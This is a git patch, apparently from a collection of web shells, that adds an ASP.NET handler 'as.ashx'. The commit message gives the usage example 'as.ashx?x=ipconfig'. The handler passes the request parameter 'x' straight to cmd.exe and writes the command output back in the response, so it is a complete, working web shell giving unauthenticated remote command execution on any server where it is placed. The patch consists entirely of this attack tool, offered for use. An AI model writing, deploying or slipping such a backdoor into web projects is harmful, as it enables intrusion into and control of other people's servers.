From b5a24c76b0e35bb4dc578f3cbc1252a4b558884e Mon Sep 17 00:00:00 2001 From: tennc Date: Fri, 22 May 2015 08:15:10 +0800 Subject: [PATCH] Create as.ashx example as.ashx?x=ipconfig from : zone.wooyun.org --- aspx/as.ashx | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 aspx/as.ashx diff --git a/aspx/as.ashx b/aspx/as.ashx new file mode 100644 index 0000000..a7e89e1 --- /dev/null +++ b/aspx/as.ashx @@ -0,0 +1,26 @@ +<%@ WebHandler Language="C#" Class="Handler2" %> +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Web; +public class Handler2 : IHttpHandler { +public void ProcessRequest (HttpContext context) { +//string x = "-an"; +string x = context.Request["x"]; +Process prc=new Process(); +prc.StartInfo.FileName="cmd.exe"; +prc.StartInfo.UseShellExecute=false; +prc.StartInfo.RedirectStandardInput = true; +prc.StartInfo.RedirectStandardOutput = true; +prc.StartInfo.RedirectStandardError = true; +prc.StartInfo.CreateNoWindow = false; +prc.Start(); +prc.StandardInput.WriteLine(x); +prc.StandardInput.Close(); +context.Response.Write(prc.StandardOutput.ReadToEnd()); +context.Response.End();} +public bool IsReusable { + get { + return false; + } + }}